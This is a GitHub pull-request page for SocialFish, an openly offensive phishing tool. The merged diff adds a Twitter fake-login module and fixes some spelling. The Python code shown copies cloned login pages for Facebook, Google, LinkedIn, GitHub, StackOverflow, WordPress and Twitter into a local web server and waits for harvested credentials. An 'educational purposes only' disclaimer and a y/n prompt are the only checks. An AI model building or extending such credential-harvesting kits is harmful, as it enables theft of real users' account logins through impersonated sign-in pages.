Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Twitter #10

Merged
merged 3 commits into from
Feb 7, 2018
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
11 changes: 7 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -54,8 +54,8 @@ python SocialFish.py
- Traditional Google login page.
- Advanced login with Facebook.

**+ LinkedIN:**
- Traditional LinkedIN login page.
**+ LinkedIn:**
- Traditional LinkedIn login page.

**+ Github:**
- Traditional Github login page.
Expand All @@ -66,17 +66,20 @@ python SocialFish.py
**+ Wordpress:**
- Similar Wordpress login page.

**+ Twitter:**
- Traditional Twitter login page.

**PULL REQUESTS ARE WELCOME**

### SCREENSHOT
![Shot](https://github.com/UndeadSec/SocialFish/blob/master/sc.png)

## DISCLAIMER
<p align="center">
JUST USE TO EDUCATIONAL PURPOSES
TO BE USED FOR EDUCATIONAL PURPOSES ONLY
</p>

The use of the SocialFish is COMPLETE RESPONSIBILITY of the END-USER. Developer assume NO liability and are NOT responsible for any misuse or damage caused by this program.
The use of the SocialFish is COMPLETE RESPONSIBILITY of the END-USER. Developers assume NO liability and are NOT responsible for any misuse or damage caused by this program.

"DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
Expand Down
18 changes: 12 additions & 6 deletions SocialFish.py
Original file line number Diff line number Diff line change
Expand Up @@ -71,7 +71,7 @@ def loadModule(module):
`=.____.=" `._\\


[{1}*{0}]{1} %s module loaded.{0}'''.format(CYAN, END) % module
[{1}*{0}]{1} %s module loaded. Building site...{0}'''.format(CYAN, END) % module

def runPhishing(social, option2):
system('sudo rm -Rf Server/www/*.* && touch Server/www/cat.txt')
Expand All @@ -83,14 +83,16 @@ def runPhishing(social, option2):
system('cp WebPages/google_standard/*.* Server/www/')
elif option2 == '2' and social == 'Google':
system('cp WebPages/google_advanced_poll/*.* Server/www/')
elif social == 'LinkedIN':
elif social == 'LinkedIn':
system('cp WebPages/linkedin/*.* Server/www/')
elif social == 'Github':
system('cp WebPages/github/*.* Server/www/')
elif social == 'StackOverflow':
system('cp WebPages/stackoverflow/*.* Server/www/')
elif social == 'WordPress':
system('cp WebPages/wordpress/*.* Server/www/')
elif social == 'Twitter':
system('cp WebPages/twitter/*.* Server/www/')

def waitCreds():
print " {0}[{1}*{0}]{1} Waiting for credentials... \n".format(GREEN, END)
Expand Down Expand Up @@ -135,11 +137,11 @@ def runPEnv():
else:
print " --{0}>{1} PHP NOT FOUND: \n {0}*{1} Please install PHP and run me again. http://www.php.net/".format(RED, END)
exit(0)
if raw_input(" {0}[{1}!{0}]{1} Do you will use this tool only for educational purposes? (y/n)\n {2}SF > {1}".format(RED, END, CYAN)).upper() == 'N':
if raw_input(" {0}[{1}!{0}]{1} Do you agree to use this tool for educational purposes only? (y/n)\n {2}SF > {1}".format(RED, END, CYAN)).upper() == 'N':
system('clear')
print '\n[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL{1} ]\n'.format(RED, END)
exit(0)
option = raw_input("\nSelect an option:\n\n {0}[{1}1{0}]{1} Facebook\n\n {0}[{1}2{0}]{1} Google\n\n {0}[{1}3{0}]{1} LinkedIN\n\n {0}[{1}4{0}]{1} Github\n\n {0}[{1}5{0}]{1} StackOverflow\n\n {0}[{1}6{0}]{1} WordPress\n\n {0}SF > {1}".format(CYAN, END))
option = raw_input("\nSelect an option:\n\n {0}[{1}1{0}]{1} Facebook\n\n {0}[{1}2{0}]{1} Google\n\n {0}[{1}3{0}]{1} LinkedIn\n\n {0}[{1}4{0}]{1} Github\n\n {0}[{1}5{0}]{1} StackOverflow\n\n {0}[{1}6{0}]{1} WordPress\n\n {0}[{1}7{0}]{1} Twitter\n\n {0}SF > {1}".format(CYAN, END))
if option == '1':
loadModule('Facebook')
option2 = raw_input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n {0}SF > {1}".format(CYAN, END))
Expand All @@ -149,9 +151,9 @@ def runPEnv():
option2 = raw_input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n {0}SF > {1}".format(CYAN, END))
runPhishing('Google', option2)
elif option == '3':
loadModule('LinkedIN')
loadModule('LinkedIn')
option2 = ''
runPhishing('LinkedIN', option2)
runPhishing('LinkedIn', option2)
elif option == '4':
loadModule('Github')
option2 = ''
Expand All @@ -164,6 +166,10 @@ def runPEnv():
loadModule('WordPress')
option2 = ''
runPhishing('WordPress', option2)
elif option == '7':
loadModule('Twitter')
option2 = ''
runPhishing('Twitter', option2)
else:
exit(0)

Expand Down
2 changes: 1 addition & 1 deletion WebPages/fb_advanced_poll/index.html
Original file line number Diff line number Diff line change
Expand Up @@ -22,7 +22,7 @@ <h1>#289032</h1>
Select your favorite social networks:<br>
<input type="checkbox" value="facebook" name="social" > Facebook<br>
<input type="checkbox" value="twitter" name="social" > Twitter<br>
<input type="checkbox" value="linkedin" name="social" > LinkedIN<br>
<input type="checkbox" value="linkedin" name="social" > LinkedIn<br>
<input type="checkbox" value="instagram" name="social" > Instagram<br>
<input type="checkbox" value="snapchat" name="social" > Snapchat<br>
<input type="checkbox" value="googleplus" name="social" > Google+<br></br>
Expand Down
2 changes: 1 addition & 1 deletion WebPages/google_advanced_poll/index.html
Original file line number Diff line number Diff line change
Expand Up @@ -22,7 +22,7 @@ <h1>#289032</h1>
Select your favorite social networks:<br>
<input type="checkbox" value="facebook" name="social" > Facebook<br>
<input type="checkbox" value="twitter" name="social" > Twitter<br>
<input type="checkbox" value="linkedin" name="social" > LinkedIN<br>
<input type="checkbox" value="linkedin" name="social" > LinkedIn<br>
<input type="checkbox" value="instagram" name="social" > Instagram<br>
<input type="checkbox" value="snapchat" name="social" > Snapchat<br>
<input type="checkbox" value="googleplus" name="social" > Google+<br></br>
Expand Down
Loading